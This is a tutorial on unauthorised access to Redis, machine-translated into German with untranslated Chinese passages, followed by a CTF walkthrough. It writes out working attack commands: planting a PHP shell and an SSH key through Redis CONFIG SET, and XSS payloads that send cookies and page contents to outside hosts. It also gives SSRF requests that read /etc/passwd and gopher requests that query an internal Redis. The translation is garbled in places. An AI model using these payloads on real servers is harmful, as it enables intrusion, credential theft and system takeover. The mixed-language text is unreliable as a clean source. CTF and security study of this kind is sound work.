Redis ist eine nicht relationale Datenbank mit Schlüssel-Wert-Paaren.
Redis ist eine Open-Source-Schlüsselwertdatenbank vom Protokolltyp, die in der ANSI-C-Sprache geschrieben ist, sich an das BSD-Protokoll hält, das Netzwerk unterstützt, speicherbasiert und persistent sein kann und APIs in mehreren Sprachen bereitstellt.
Er wird oft als Datenstrukturserver bezeichnet, da Werte Zeichenfolgen, Hashes, Karten, Mengen und sortierte Mengen und andere Typen sein können.
Installationsservice
Win
Download-Adresse: https://github.com/MSOpenTech/redis/releases
Testumgebung:
Betriebssystem: win7
IP: 192.168.107.144
Befehlszeileneingabe
redis-server.exe redis.conf
Dann überprüfen Sie den Port
Port 6379 (Redis-Standardport) wurde geöffnet
Redis wurde erfolgreich gestartet
Ubuntu
Installieren
sudo apt-get update sudo apt-get install redis-server
Dienst starten
redis-server
Grundlegende Befehle
Redis verbinden
redis-cli.exe -h 192.168.107.144
Taste anzeigen ist x Der Wert von
redis 192.168.107.144:6379> get x "<?php phpinfo(); ?>"
alle Schlüssel abrufen
redis 192.168.107.144:6379> keys * 1) "x"
alle Schlüssel löschen
redis 192.168.107.144:6379>flushall
exploit
Diese Maschine geht aktiv durch Stellen Sie mit dem Telnet-Befehl eine Verbindung zum Zielcomputer her
oder stellen Sie eine Verbindung über redis-cli.exe -h 192.168.107.144
Die Verbindung ist erfolgreichGeben Sie Informationen ein, um relevante Informationen zu erhaltenSie können die Redis-Versionsnummer usw. sehen. VerwendungsmethodenSchreiben Sie die Shell
//设置x的值 redis 192.168.107.144:6379> set x "<?php phpinfo(); ?>" redis 192.168.107.144:6379> config set dbfilename test.php redis 192.168.107.144:6379> config set dir D:/WWW/PHPTutorial/WWW redis 192.168.107.144:6379> saveErfolgreich auf die Zielmaschine geschrieben Öffentlicher SSH-Schlüssel geschrieben Generieren Sie lokal ein Schlüsselpaar
root@ip-172-31-14-115:~/.ssh# ssh-keygen -t rsaSchreiben Sie dann den öffentlichen SSH-Schlüssel in den Zielcomputer
root@ip-172-31-14-115:/etc/redis# redis-cli -h 192.168.107.144 192.168.107.144:6379> config set dir /root/.ssh # 设置本地存储文件目录 192.168.107.144:6379> config set dbfilename pub_keys # 设置本地存储文件名 192.168.107.144:6379> set x "xxxx" # 将你的ssh公钥写入x键里。(xxxx即你自己生成的ssh公钥) 192.168.107.144:6379> save # 保存und stellen Sie dann lokal eine Verbindung zu SSH her
root@ip-172-31-14-115:~/.ssh# ssh -i id_rsa root@192.168.107.144dann
Redis in CTF (XSS->SSRF&Gopher->Redis)
Das Thema istTiteladresse: https://hackme.inndy.tw/scoreboard/
xeeme
DurchgesickertGefunden in robots.txt. Der durchgesickerte Quellcode ist das verschlüsselte config.php
xss-Cookie
Schnittstelle nach der Registrierung und Anmeldung Das Senden einer E-Mail wird überprüft Schreiben Sie ein Skript zur Überprüfung<?php $captcha=1; while(1) { if(substr(md5("60df5eaed35edcf0".$captcha),0,5) === "00000") { echo $captcha; break; } $captcha++; } echo "<br>".md5($captcha); ?>und dann filtern. Einige Dinge getestet mit img onload wird auch gefiltert Hier ist mir ein Detail aufgefallen, das gefiltert wird: Leerzeichen plus Onerror. Ich vermute, dass es gefiltert wird, wenn es mit Leerzeichen übereinstimmt, also erstelle ich ein Onerror ohne Leerzeichen, versuche es mit Payload
<img src=""onerror="document.location='http://vps/?a='+document.cookie" alt="Einführung in den unbefugten Zugriff von Redis" >und dann ein Cookie setzen SITZUNG dekodieren
PHPSESSID=rmibdo13ohquscgsuphitr9cp4; FLAG_XSSME=FLAG{Sometimes, XSS can be critical vulnerability <script>alert(1)</script>}; FLAG_2=IN_THE_REDIS
xssrf-Leck
Laut dem Cookie in der vorherigen Frage, FLAG_2=IN_THE_REDISImmer noch die gleiche UmgebungDa ich das Administrator-Cookie erhalten habe, habe ich mich angemeldet需要本地登陆,尝试一下伪造xff头
换了几个ip头都没用
于是想到之前做的题,可以直接去打管理员页面的源码
这里 不知道为什么 xss平台接收不到,于是换了一个平台
利用payload
<img src=""onerror="document.location='http://rkao6p.ceye.io/?'+btoa(document.body.innerHTML)" alt="Einführung in den unbefugten Zugriff von Redis" >
发现innerhtml被过滤
于是html编码
<img src=""onerror="document.location='http://rkao6p.ceye.io/?'+btoa(document.body.innerHTML)" alt="Einführung in den unbefugten Zugriff von Redis" >
发现收到请求
解个码,放在本地
SSRF读取config.php
猜测send request功能存在ssrf
<img src=""onerror=" xmlhttp=new XMLHttpRequest(); xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { document.location='http://vps?'+btoa(xmlhttp.responseText) } } xmlhttp.open("GET","request.php",true); xmlhttp.send(); ">
vps收到请求
解码:
... <form action="/request.php" method="POST"> <div class="form-group"> <label for="url">URL</label> <textarea name="url" class="form-control" id="url" aria-describedby="url" placeholder="URL" rows="10"></textarea> </div> <button class="btn btn-primary">Send Request</button> </form> </div> </body> </html>
post请求的url参数
尝试读文件
<img src=""onerror=" xmlhttp=new XMLHttpRequest(); xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { document.location='http://52.36.15.23:12345?'+btoa(xmlhttp.responseText) } } xmlhttp.open("POST","request.php",true); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xmlhttp.send("url=file:///etc/passwd"); ">
成功读到/etc/passwd
于是读之前的config.php
xssrf redis(ssrf+gopher拿下flag)
根据flag的提示,redis的端口是25566
请求redis配合gopher
<img src=""onerror=" xmlhttp=new XMLHttpRequest(); xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { document.location='http://52.36.15.23:12345?'+btoa(xmlhttp.responseText) } } xmlhttp.open("POST","request.php",true); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xmlhttp.send("url=gopher://127.0.0.1:25566/_info"); ">
成功获取info
查看一下keys
xmlhttp.send("url=gopher://127.0.0.1:25566/_key%2520*");
去读
既然有flag键,那么直接去读flag的值
xmlhttp.send("url=gopher://127.0.0.1:25566/_get%2520flag");
类型不符合
于是查看类型
xmlhttp.send("url=gopher://127.0.0.1:25566/_type%2520flag");
是list,返回列表长度
xmlhttp.send("url=gopher://127.0.0.1:25566/_LLEN%2520flag");
那么获取所有元素
xmlhttp.send("url=gopher://127.0.0.1:25566/_LRANGE%2520flag%25200%252053");
于是写个脚本
flag=""" } t i o l p x e o t y s a e s i n o i t a c i t n e h t u a t u o h t i w s i d e R { G A L F """ result = flag[::-1] print(result)
最后flag FLAG{Redis without authentication is easy to exploit}
原文地址:https://xz.aliyun.com/t/4051
更多redis知识请关注redis入门教程栏目。
Das obige ist der detaillierte Inhalt vonEinführung in den unbefugten Zugriff von Redis. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!